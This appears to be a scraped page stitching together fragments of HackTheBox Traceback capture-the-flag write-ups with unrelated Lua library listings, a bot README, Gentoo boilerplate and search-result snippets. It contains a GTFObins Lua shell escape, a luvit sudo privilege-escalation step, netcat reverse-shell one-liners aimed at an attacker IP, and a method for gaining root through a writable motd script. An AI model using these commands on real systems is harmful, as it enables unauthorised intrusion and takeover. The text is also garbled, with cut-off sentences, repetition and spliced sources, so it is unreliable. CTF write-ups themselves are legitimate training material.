Sysadmin said that he has left a left for us to practice Lua scripting. Okay! webadmin can run luvit with sysadmin privileges without providing a password. Serious defect right? Let’s check what is Luvit. Luvit is a binary that acts as an engine for Lua scripting. It’s time to bash it. Yeah! It’s worked. Let’s execute the shell. Voila!

The image above shows that I can run something called luvit. That prompted more googling and trying to understand whats going on. Here is a link if you are interested what Luvit is: https://luvit.io/ So now I needed to exploit that somehow. More Googling lead me to GTFObins. The shell command that they mention is: lua -e 'os.execute("/bin/sh")'

This is a list of libraries implemented in Lua or implemented in another language (e.g. C) but having a Lua interface. For older libraries and bindings, see the LuaAddonsArchive.. Modules can also be found on LuaForge.Lua ModuleReview intends to arrange some of them.. Note to authors: This page is part of LuaAddons — please read the instructions there before making changes to this list. 2.

Lua luvit reverse shell

I had never previously heard of the program and found very little documentation on it, none of which looked anything like what was shown in the terminal. The image above shows that I can run something called luvit. That prompted more googling and trying to understand whats going on. Here is a link if you are interested what Luvit is: https://luvit.io/ So now I needed to exploit that somehow. More Googling lead me to GTFObins. The shell command that they mention is: lua -e 'os.execute("/bin/sh")' --Evaluate special segments in reverse order. local skip = 0: local reversed = {} for idx = # parts, 1, -1 do: local part = parts[idx] if part == '.

The prefix for all commands is ./, just like running a local command in your shell. To run the bot, you'll need Discordia and Luvit installed. Then navigate to the directory with main.lua and run luvit main.lua. TODO: create proper help function; add ./clap command for memes

It was created in 1993 by Roberto Ierusalimschy, Luiz Henrique de Figueiredo, and Waldemar Celes. Lua is used for many different things, especially in video games such as World of Warcraft and SimCity 4.

HackTheBox Traceback Write Up w/o Metasploit: Traceback is an easy Linux box created by Xh4H. You have to enter a shell planted on the server, enter as webadmin, escalate privileges with lua/luvit to sysadmin and echo a reverse shell in 00-header file to get root access.

This library makes libuv available to lua scripts. It was made for the luvit project but should usable from nearly any lua project. The library can be used by multiple threads at once. Each thread is assumed to load the library from a different lua_State. Luv will create a unique uv_loop_t for Tim Caswell (Cloud 9 IDE) As an early contributor to Node.JS, Tim Caswell has seen many of the strengths and weaknesses of Google's V8 JavaScript engine. Luv diff --git a/dev-lua/luvit/files/luvit-0.7.0-unbundle-http-parser.patch b/dev-lua/luvit/files/luvit-0.7.0-unbundle-http-parser.patch deleted file mode 100644 index © 2001–2020 Gentoo Foundation, Inc. Gentoo is a trademark of the Gentoo Foundation, Inc. The contents of this document, unless otherwise expressly stated, are 「SmEvK_PaThAn Shell v3」を経由した「php-reverse-shell」の設置: T1548.003: Sudo と Sudo Caching 「Luvit」による「sysadmin」権限の維持: T1546: イベントによってトリガーされる実行「motd」による「root」権限による任意のコマンド実行 Pastebin.com is the number one paste tool since 2002. Pastebin is a website where you can store text online for a set period of time.

Aug 17, 2020 Once we've got the reverse shell going we'll create the Lua file next and privesc.lua $ sudo -u sysadmin /home/sysadmin/luvit privesc.lua sh: Aug 15, 2020 After getting a shell on the machine, we run sudo -l , which shows us a Due to the permissions of the copied files, we are able to get a reverse shell as root – grabbing root.txt . we find /home/webadmin/note.txt You can't make Lua's pattern matching system reverse a string. cpanm Inline::Lua CPAN shell. Confused? Run nc -l -p 12345 > "file_to_save" on the attacker box Apr 7, 2020 We can create a new file called privesc.lua and have it run a shell the user.txt flag: sudo -u sysadmin /home/sysadmin/luvit privesc.lua So theoretically, if we can get a reverse shell script in there, it would exe May 4, 2020 I didn't like this webshell so I used it to get a reverse shell. Luvit is a single binary that contains the lua vm, libuv, openssl, miniz as well as a Aug 15, 2020 The privilege escalation path abuses Lua programming language scripting platform sudo -l tells us that we can run /home/sysadmin/luvit as sysadmin.
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I had never previously heard of the program and found very little documentation on it, none of which looked anything like what was shown in the terminal. 2021-04-07 > mkdir myapp && cd myapp > lit install creationix/weblit > vim server.lua > luvit server.lua The server.lua file will contain: local weblit = require('weblit') weblit.app .bind({host = "127.0.0.1", port = 1337}) -- Configure weblit server .use(weblit.logger) .use(weblit.autoHeaders) -- A custom route that sends back method and part of url. To test your install run luvit to enter the repl. This has readline-like capabilities implemented in lua and has tab completion of expressions for interactive exploring the runtime.

In this article, you’ll learn how this attack works and how you can detect it using Falco, a CNCF project, as well as Sysdig Secure. Shell (5.3) - a Lua module for writing shell script style programs. Features include: string expansion and subprocess management.
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Sep 29, 2020 In the execute section, let's insert a rev-shell as shown below and start a Checking on the sudo level permissions, we got the luvit tool location as well. Learning a bit more about the LUA, I was able to execute

And there is a note discussing a tool called “Lua”. # root @ ns09 in ~/htb/traceback [23:24:20] $ ssh -i /root/.ssh/id_rsa webadmin@10.10.10.181 ################################# Netcat Reverse Shell. Useful netcat reverse shell examples: Don't forget to start your listener, or you won't be catching any shells :) nc -lnvp 80 nc -e /bin/sh ATTACKING-IP 80 /bin/sh | nc ATTACKING-IP 80 rm-f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 4444 0/tmp/p.

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We get a reverse shell using the webshell and add our public key to SSH as webadmin; We use Luvit, a repl for lua to get shell as sysadmin using sudo and gtfobins; We finally edit the writable file /etc/update-motd.d/00-header to add root SSH keys and login as root; Recon Nmap

It can send back a non-interactive reverse shell to a listening attacker to open a remote network access. Run nc -l -p 12345 on the attacker box to receive the shell.